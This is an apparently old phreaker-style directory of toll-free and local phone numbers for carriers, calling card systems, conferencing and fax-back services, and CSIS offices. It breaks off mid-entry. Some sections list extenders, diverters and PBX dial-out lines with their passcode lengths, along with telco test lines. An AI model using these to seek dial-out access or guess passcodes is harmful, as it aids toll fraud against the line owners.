Motorola Canada. +1-800-367-2346 Motorola Telecommunications Administration. +1-800-374-2355 InterCall. +1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center. +1-800-377-2288 Mountain West Communications. (Telephone Answering Service) +1-800-381-7707 Rogers Cantel Service. (Barrie, ON) +1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals) +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. +1-800-438-2355 Kentucky Cellular. +1-800-443-5464 Cue Paging Customer Service. +1-800-446-6744 Motorola Supplier/Customer Training Services. +1-800-452-2355 Appalacian Wireless. +1-800-453-0920 Motorola IDEN Customer Services. +1-800-455-2948 SkyWard Message Center. +1-800-456-3333 SkyTel National Sales Center. +1-800-460-2255 Pager Service. +1-800-461-4575 Motorola Cellular Customer Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-523-2337 ProPage. +1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service) +1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems) +1-800-543-7658 Cue Paging Customer Service. +1-800-547-8444 B&B Beepers Activation Line. +1-800-548-7172 Comstock Answering and Services. +1-800-549-2355 Advanced Cellular and Paging. +1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV) +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-625-8885 Tab Beepers. (Wireless Communications) +1-800-626-2636 SNET Page 2000. (Paging Services) +1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs) +1-800-638-2355 Comcev Cellular Communications. +1-800-642-9378 Mountain West Communications. (Telephone Answering Service) +1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-749-9977 TSR Wireless. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israeli Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. +1-800-821-2355 MobileCom. +1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems) +1-800-824-2337 The Wireless Store. +1-800-824-9755 Cue Paging Sales. (Paging, Signaling Equipment and Systems) +1-800-825-2222 The 800 Connection. (Answering Service) +1-800-825-2255 Metro-Call Customer Service. (Pager service) +1-800-854-2355 MobileCall accounts. +1-800-858-8828 Cue Paging Corporation. +1-800-861-3701 Nationwide Messaging. +1-800-866-2770 MobileCom. (Pager service) +1-800-866-7000 MobileCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-890-7243 Metro-Call Pagers. +1-800-922-5469 SNET Wireless Services. +1-800-926-2355 Ubet Wireless. +1-800-951-2355 Cantel Communications. +1-800-969-9998 Cable and Wireless USA. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-800-NEWTEL-1 American Wireless. +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL-5 SkyTel. +1-800-WIRELESS Page USA. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-255-CELL InTouch Cellular. +1-877-289-CELL ATX Cellular Department. +1-877-360-CELL Cellhigher USA. (cell phone rentals) +1-877-392-CELL Connect Cell Incorporated. +1-877-4-BELLCO Cellular Connection. +1-877-463-CELL PrimeCell. +1-877-489-CELL PageNet's Wireless Messaging Network. +1-877-498-CELL Portables. +1-877-499-1270 PageNet Wireless Messaging Network. +1-877-502-CELL Cellular Technologies. +1-877-503-CELL Wireless Solutions. +1-877-601-CELL Go Cellular. +1-877-631-CELL Cellular Connections. (Authorized Verizon Wireless Dealer) +1-877-643-CELL Action One Cellular. +1-877-730-CELL Deltacom. (Nextel Dealer/Representative) +1-877-845-CELL Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer) +1-877-873-CELL Discover Communications. (Rogers AT&T Wireless) +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-954-CELL CelluWorld. +1-877-965-CELL Advanced Communications. +1-877-969-CELL Microcell. +1-877-991-CELL Univercell (cell phone rentals) +1-877-AIRFONE Message Center. +1-877-CELLPHONE Travel Phone. (Cellular Sales) +1-877-MOTOROLA Motorola. +1-877-NEWTEL-1 Mobile Communications +1-877-ROGERS-1 Rogers Corporation. +1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System. +1-877-SATPHONE Globalstar Customer Care. (Satellite Communications) +1-877-USA-CELL USA Cell. +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-257-8826 Cantel Centre de Communication. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-540-2222 Clearnet Business Communications Center. +1-888-593-2355 S&E Cellular. +1-888-594-SNET SNET Prepaid Cellular Services. +1-888-622-RENT Rent Express. (Bell Mobility phone rentals) +1-888-638-2355 Cantel AT&T. +1-888-642-MIKE Mike Clearnet. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-736-8567 Motorola. +1-888-801-2355 Cell Phones and Accessories. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-BUY-CELL Total Communications Rogers AT&T. +1-888-CELL-COM CellCom and PageCom. +1-888-MOTOROLA Motorola. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk) +1-800-395-8425 EarthLink Sprint Sales. +1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk) +1-800-487-4838 CompuServe. +1-800-554-4008 Discovery Channel (3 free disks for Internet software) +1-800-638-2661 EarthLink. +1-800-742-5877 UPS (ask for their shipping software for a free disk & CD) +1-800-773-4638 Primus Canada. +1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks. +1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. +1-800-973-1335 Suretrack Sales. (ask for a free demo disk) +1-800-FREE-MSN Micro$oft Network Canada. +1-800-PRODIGY Prodigy Internet Services. +1-877-288-6626 AT&T Canada Internet Service. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-888-288-1233 AT&T Canada Internet Service. + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-225-2255 ATN Communications. (collect, calling & credit card calls) +1-800-225-4288 ATN Communications. (collect, credit, calling card) +1-800-225-5128 NOS automated collect, credit and calling card calls. +1-800-225-5228 ATN Communications. (collect, credit, calling card) +1-800-225-5233 NOS automated collect, credit and calling card calls. +1-800-225-5268 ATN Communications. (collect, credit, calling card) +1-800-225-5475 Smart Cards USA. +1-800-225-5607 NOS automated collect, credit and calling card calls. +1-800-255-8355 AllTel Calling Cards. +1-800-265-3121 Prepaid LD. +1-800-267-3000 World Direct calling card calls. +1-800-270-1111 "Please enter your card number." +1-800-270-3000 "Please enter your card number." +1-800-270-5000 "Please enter your card number." +1-800-270-7000 "Please enter your card number." +1-800-276-2355 Frontier Communications Customer Service. +1-800-277-7468 Sprint Phone Card Calls (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-284-2255 ATN Communications. (collect, credit, calling card) +1-800-300-2355 NOS. (calling card, collect calls, etc.) +1-800-303-5156 OLA Ontario Pre-paid calling card. +1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center. +1-800-393-0711 7-11 Calling Cards. +1-800-396-2454 Tech-Card Customer Service. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-429-8036 OLA Ontario Pre-paid calling cards Customer Service. +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-437-6415 Coca-Cola prepaid phone card dialup. +1-800-437-9291 Star Telecom Network "Please enter your card number." +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (pre-paid phone cards, etc.) +1-800-463-0004 "Please enter your card number and PIN." +1-800-475-9105 Pre-paid calling cards Customer Service. +1-800-477-9692 ATN Customer Service and Calling Cards. +1-800-484-2266 MCI WorldCom. (4 Digit Security Code) +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-519-1111 Pronto. "Please enter your PIN number now." +1-800-522-2020 Pacific Bell calling card calls. +1-800-525-5288 ATN Communications. +1-800-536-3273 Frontier Customer Service. +1-800-546-9639 Bell Atlantic collect/calling card calls. +1-800-555-1234 NOS automated collect, credit and calling card calls. +1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc. +1-800-555-5321 SNET Calling Card Calls. +1-800-555-COKE Coca-Cola Calling Cards. +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-576-2255 Frontier Communications Customer Service. +1-800-633-2255 NOS automated collect, credit and calling card calls. +1-800-662-6214 AT&T Calling Cards. +1-800-666-2657 "Please enter your calling card number." +1-800-674-0700 MCI WorldCom calling cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-725-5288 ATN Communications. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-741-7200 MCI WorldCom calling cards. +1-800-783-1414 Frontier Access Card. +1-800-783-1444 Frontier Access collect/calling card calls. +1-800-783-2020 Frontier Communications Customer Service. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-860-6000 Qwest Communications calling cards. +1-800-864-7000 Premier World Link Access Number. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-909-3191 Tech-Card (William Shatner) +1-800-909-3206 MCI WorldCom Pre-paid Card System. +1-800-909-3207 MCI WorldCom Pre-paid Card System. +1-800-909-3212 MCI WorldCom Pre-paid Card System. +1-800-909-3214 GTN-Phone Card System. +1-800-909-3215 Pre-paid Calling Card System. +1-800-909-3217 1-800 Pre-paid. +1-800-909-3218 1-800 Pre-paid. +1-800-909-3219 1-800 Pre-paid. +1-800-909-3225 MCI WorldCom Pre-paid Card System. +1-800-909-3231 MCI WorldCom Pre-paid Card System. +1-800-909-3236 MCI WorldCom Pre-paid Card System. +1-800-909-3240 MCI WorldCom Pre-paid Card System. +1-800-909-3242 MCI WorldCom Pre-paid Card System. +1-800-909-3245 MCI-Exchange Card Service. +1-800-909-3477 Pre-paid Long-Distance Service. +1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC) +1-800-909-3640 MCI WorldCom Pre-paid Card System. +1-800-909-3641 MCI WorldCom Pre-paid Card System. +1-800-909-3642 MCI WorldCom Pre-paid Card System. +1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System) +1-800-909-3646 MCI WorldCom Pre-paid Card System. +1-800-909-3653 MCI WorldCom Pre-paid Card System. +1-800-909-3654 MCI WorldCom Pre-paid Card System. +1-800-909-3657 MCI WorldCom Pre-paid Card System. +1-800-909-3661 Pre-paid Calling Card System. +1-800-909-4495 Calling Card System (Insimity Point Security Code) +1-800-934-8642 VoiceNet Calling Cards (New York, NY) +1-800-950-1077 GCI Long Distance. (Alaska) +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-800-DIAL-166 ATN Communications. +1-800-EASY-TEL EasyTel Calling Card Calls. +1-800-ONE-DIME Sprint's 1-800 One Dime. +1-800-PRE-PAID 1-800 Pre-paid. +1-800-YOU-SAVE Collect, Calling Card, Credit Card Calls. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-877-WILLIAMS Williams Long Distance Calling Card Calls. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) +1-888-818-4266 GST calling cards. + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-448-2557 AT&T Teleconferencing. +1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance) +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service. +1-800-567-1250 Global Crossing SpeedLink. +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-569-0788 A Better Conference. +1-800-625-5288 Teleconference Playback Center. +1-800-667-3601 Global Crossing SpeedLink. +1-800-668-4210 Global Crossing Frontier ConferTech. +1-800-768-2550 Global Crossing SpeedLink. +1-800-768-7775 Global Crossing SpeedLink. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-933-3258 Global Crossing. +1-800-954-2387 Frontier (Global Crossing) +1-800-962-0044 Conf Call USA. +1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint) +1-800-CONFERENCE Ameritech Conference Calling. +1-888-345-5200 Video Conferencing Center. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. +1-800-925-8888 Automated Authorization Centre. (Credit Cards) + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 292-5255 CSIS in Calgary. +(403) 421-5800 CSIS in Edmonton. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(416) 504-3733 Diverter. (Wait Until The Voice Stops) +(416) 542-6050 Diverter. +(416) 542-6070 Diverter. +(416) 542-6080 Diverter. +(416) 542-6090 Diverter. +(416) 866-8866 PBX. +(519) 651-2000 Extender. +(519) 651-2250 The Communications Group. +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 846-8786 PBX (dial "9" then the number) +(519) 895-2255 Extender. (5 digit passcode) +(905) 337-3033 Diverter. (416/905) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(416) XXX-1185 Bell Test Lines. +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(604) 958-2011 2100 Hz tone. +(604) 958-4111 Line out for 1.5 mins. +(613) 544-1111 Bell Test Line. +(847) 823-9995 Gives several readings on the Bell CO. +(905) 521-1185 Bell Test Line. +(905) 851-0012 Bell Test Line. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-210-0000 Tones. +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you..." +1-800-225-5300 "We are sorry but this program has ended and no further calls..." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-265-1111 High Tone. +1-800-266-9999 Fast Busy. +1-800-267-6000 Fast Busy. +1-800-270-0123 Fast Busy. +1-800-293-4421 Fast Busy. +1-800-321-0288 Always Busy. +1-800-323-8126 Dialtone. +1-800-325-4112 Short Tones + High Tone. +1-800-333-8852 Siren Tones. +1-800-346-0109 Siren Tones. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-369-2255 Silent line. +1-800-424-5664 "Please check your number and dial again." +1-800-430-7938 DMS. +1-800-437-2206 Alphanet Telecom recording. +1-800-437-3025 No Ring+Silent Line. +1-800-437-8351 High Tones. +1-800-444-1677 Siren Tones. +1-800-454-9927 Alpha net telephone recording +1-800-454-9929 Alpha net telephone recording +1-800-454-9961 Fast Rings. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 Ring then silent line. +1-800-456-0000 Dialtone. (PBX) +1-800-465-7735 Strange Tones. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2496 Strange Tones. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2730 High Tone. +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-554-8374 Always Busy. +1-800-555-1120 "We are sorry but this program has ended and..." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-555-9946 Siren Tones. +1-800-565-6737 High Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-745-6678 Dialtone. +1-800-747-6678 High Tone. +1-800-749-2355 High Tone. +1-800-749-9975 Tone. +1-800-786-3228 Fast Busy. +1-800-808-8319 Weird ring "please enter your telephone number" beep. +1-800-808-8332 No Ring + Clicking. +1-800-808-8341 Siren Tones. +1-800-808-8347 Siren Tones. +1-800-808-8349 Siren Tones. +1-800-808-8351 Siren Tones. +1-800-808-8352 Siren Tones. +1-800-808-8354 Siren Tones. +1-800-808-8357 Siren Tones. +1-800-808-8369 Siren Tones. +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-0036 No Ring+Click+Trunk Busy. +1-800-827-0058 High Tone. +1-800-827-0875 "This ATT Technologies number is not active." +1-800-827-1227 Ring+Trunk Busy. +1-800-827-3005 Alphanet Telecom recording. +1-800-827-3210 NIS (Reads back 827-3210) +1-800-827-3670 High Tones. +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-827-9010 "We're sorry, the number you have called is an invalid number." +1-800-827-9876 NIS (Reads back 827-9876) +1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890." +1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892." +1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904." +1-800-828-8649 Always Busy. +1-800-848-9000 Always Busy. +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number." +1-800-866-9317 High Tone. +1-800-874-4000 BUSY. AT&T USA Direct Service. +1-800-877-8000 Low Tone. +1-800-878-3532 High Tone. +1-800-889-4668 Ring+Silent Line. +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-909-3467 Low Tone (PBX) +1-800-909-4358 High Tone. +1-800-909-4364 High Tone. +1-800-925-0288 "This is not a valid number." +1-800-925-3300 Low Tone. +1-800-925-6620 Low Tone. +1-800-925-8300 Rings+Silent Line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-800-MCI-WORLD Always Busy. +1-800-MTT-LOCAL Fast Busy. +1-877-268-4272 Tones. +1-877-382-2355 Tones. +1-877-655-2355 Ring+Trunk Busy. +1-877-900-EASY "You have reached an inactive number on the EasyTel network." +1-877-922-BELL High Tone. +1-888-374-2355 "You have entered an invalid telephone number." +1-888-468-2355 "Due to technical difficulties we cannot record your message +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. +1-888-BELLCORE Always Busy. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back.1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-329-7310 Bell Atlantic Investor Relations Fax-On-Demand. +1-800-345-1518 Compaq Computer PaqFax. +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-445-7736 Exabyte Fax-on-Demand (2,1) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX) +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-663-0378 Toshiba Canada TossFax. (press 1) +1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-762-6163 3Com Fax-on-Demand. +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-909-0261 Apple Fax. +1-800-909-0263 3M Economic Services Fax-On-Demand System. +1-800-909-0264 Kinkos Fax-On-Demand Service. +1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service. +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-FAX-SUNW Sun Fax-Back. +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +------------------------------------------------------------------------------- + Yellow Pages: +------------------------------------------------------------------------------- + +(519) 579-2252 Baka Communications. (Bell Mobility Dealer) +(519) 654-2211 Bestel Message Centre Ltd. (Paging Services) +(519) 679-8333 Bell. (London Office) +(519) 679-8460 Bell. (London Office) +(519) 725-2570 Bell Mobility Baca. +(519) 744-7781 Bell Mobility Centre (Highland Hills Mall) +(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging) +(519) 893-8777 Bell World. +(519) 894-2211 Bell Mobility Cellular Plus Centre. +1-800-311-WORK Bell Canada. +1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga) +1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging. +1-800-917-1917 Bell Canada's Advantage Call Centre Solutions. + +(519) 888-9660 Cantel AT&T Store (Connestoga Mall) +(519) 893-1811 Cantel AT&T Automated Self-Service System. +1-800-268-1087 Cantel AT&T Paging Customer Service. +1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide) + +(519) 741-5990 London Telecom Network. +(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.) +(519) 748-3200 Rogers Cablesystems General Enquiries. +(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.) +(519) 893-2310 Rogers Technical Assistance. +(519) 893-4400 Rogers Community Programming. +(519) 896-7600 Ericsson Communications Canada Inc. +(905) 561-5443 Digital Mobile Systems Inc. + +1-800-216-0888 PageNet. +1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer) +1-800-265-8725 Shaw Paging. +1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which + offer Year 2000 expertise and services) +1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites. +1-800-838-0298 MRC Systems Inc. +1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service. +1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services) + + +Internet: + +(519) 570-2121 GO INTERNET CAFE. +(519) 651-3400 Sentex Communications. +(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent + Technologies Agent) +1-800-263-8433 Burlington Network Services. +1-800-668-2857 Wightman Telecommunications. (ISP) +1-800-773-4638 Globalserve Internet. +1-888-298-3447 Netcom Canada. +1-888-4-SENTEX Sentex Communications. +1-888-6-NEWNET New Net Technologies Group. + + +Cable: + +1-800-267-1919 CaTech Systems LTD. +1-800-400-4954 Cablecom International. +1-877-342-3726 Fiber Core Communications. +1-877-652-0088 First Call Locate Service. + + +Telephone Companies: + +(519) 651-2000 A-TEL Communications. (Press "9" to dial out) +(519) 651-2250 A-TEL Communications. +(519) 744-4455 A Telephone Man. (listed under Telephone Companies) +(519) 744-9640 A + Tel Inc. +(519) 745-0856 Telnet Communications. +(519) 746-3357 Sprint Canada Inc. + + +Telephone Directories: + +(519) 571-7700 Bell ActiMedia. +(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time & + temperature) + + +Telephone Equipment: + +(519) 570-0885 WilTel. +(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service) +(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies + Dealer. Long Distance and Conferencing Services) +(519) 650-2000 City-Com Communications (Golden Triangle) Inc. +(519) 654-2000 Regional Telecom. +(519) 654-2003 Intelicom Systems. +(519) 658-4588 Instatel Communications +(519) 741-9262 Barrett B J Communications. +(519) 744-6500 Tele-Connect. +(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer) +(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor) +(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor) +(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent) +(519) 883-4109 Exceltech. (Telephone equipment services) +1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent) +1-888-276-1604 Telecom-Tech. +1-888-7-DELPHI Delphi Solutions Customer Service. + + +Long Distance: + +(519) 220-1120 Ability Telecom. (Flat Rate 